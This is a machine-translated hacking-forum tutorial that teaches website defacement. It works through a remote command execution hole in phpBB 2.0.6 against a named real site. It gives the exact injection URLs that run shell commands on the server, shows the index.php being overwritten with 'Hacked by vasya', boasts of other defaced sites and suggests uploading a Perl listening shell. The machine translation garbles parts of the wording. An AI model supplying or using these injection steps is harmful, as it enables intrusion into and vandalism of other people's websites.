This page has been robot translated, sorry for typos if any. Original content here.

Vollständiges Handbuch zur Verunstaltung (aktualisiert)

Einführung
Ich sehe oft eine Frage im Forum: "Wie kann man Websites brechen?" oder "Wie verteidige ich eine Site?". Heute können Sie das Portal ohne einen einzigen Aufwand entstellen! Ich lade alle Liebhaber des einfachen Bergbaus ein! =)

Hauptteil
Heute werde ich darüber sprechen, wie die Defays verschiedener Sites durch Fehler in populären Skripten gemacht werden. Kürzlich wurde eine schwerwiegende Sicherheitslücke in der beliebten phpBB-Engine entdeckt.
Im Modul viewtopic.php wurde eine Sicherheitsanfälligkeit festgestellt

Tatsache ist, dass ein entfernter Angreifer ein beliebiges PHP-Skript auf einem anfälligen System ausführen kann, während er so etwas wie diese Zeile überträgt viewtopic.php? T = 1 & Highlight =% 27

Wie Sie wahrscheinlich bereits vermutet haben, können mit dieser Sicherheitsanfälligkeit beliebige Befehle beliebiger Länge auf einem anfälligen Server ausgeführt werden. Heute werden wir dieses Loch nutzen und zusammen mit Ihnen einen echten vorhandenen Server zerstören. Unser Ziel wird genau die Verunstaltung sein, dh die Hauptseite der Website durch unsere ersetzen.

Beginnen wir also damit, dass unser Opfer www.maxmuscle.dk ist (zum Zeitpunkt der Veröffentlichung dieses Artikels ist das Portal resistent gegen Sicherheitslücken).
Das erste, was uns beim Besuch dieser Seite auffällt, ist, dass sie auf dem PHP-Nuke-Portalsystem basiert.

Standardmäßig ist phpBB das Forum auf diesem System. Wir klicken auf den Link, der uns zum Forum führt (http://www.maxmuscle.dk/osclux/modules.php?op=modload&name=phpbb2&file=index.php) und stellen sicher, dass dies phpBB Version 2.0.6 ist .

Wir geben dem Forum eine Anfrage dieser Art:

http://www.maxmuscle.dk/osclux/modules.php?op=modload&name=phpbb2&file=viewtopic.php&t=2&highlight=%27.$poster=`$ls`.%27&l s =

und wir stellen fest, dass der Motor die Linie absorbiert hat, wie durch die charakteristische Inschrift anstelle des Spitznamens eines der Benutzer belegt: ") #i". Das bedeutet aber noch nichts. Wir können die Ausführung von Befehlen auf diesem Server leicht abbrechen, aber wir raten nicht und versuchen nur, sie auszuführen:

http://www.maxmuscle.dk/osclux/modules.php?op=modload&name=phpbb2&file=viewtopic.php&t=2&highlight=%27.$poster=`$ls`.%27&l s = pwd

Dieser Befehl (pwd) sollte uns das Verzeichnis anzeigen, in dem wir uns jetzt befinden. In diesem Fall ist es möglich, Befehle auf dem Server auszuführen. Das passiert. Der Verzeichnispfad / var / www / html / osclux / wird angezeigt. Dem folgenden Befehl folgt eine "ID", um unseren Zugriff zu überprüfen.

Wie wir sehen, haben wir die Rechte uid = 99 (niemand) , dh die Rechte des Webservers. Jetzt zeigen wir die Liste der Ordner und Dateien im Verzeichnis html_public mit dem Befehl "dir / var / www / html / osclux" an und stellen fest, dass die index.php, die wir für die Verteidigung so sehr benötigen, in diesem Verzeichnis liegt.

Wir sind also am Ziel - durch Ausführen des Befehls echo Hacked by vasya> index.php wird auf der Hauptseite die Aufschrift „Hacked by vasya“ angezeigt. Wir prüfen. Es stellte sich heraus.

Du hast eine Verunstaltung gemacht.

Anstelle einer Schlussfolgerung
So wurde die hackzona.ru-Verunstaltung auf einfache Weise abgehalten, das Forum auf nsd.ru wurde einfach so kaputt gemacht. Ich stelle auch fest, dass dies die einfachste Implementierung dieser Lücke ist. Unter guten Bedingungen können Sie einfach ein Skript auf der Perle auf den Server hochladen, der einen bestimmten Port abhört, und eine vollwertige Shell ohne Rechte erhalten.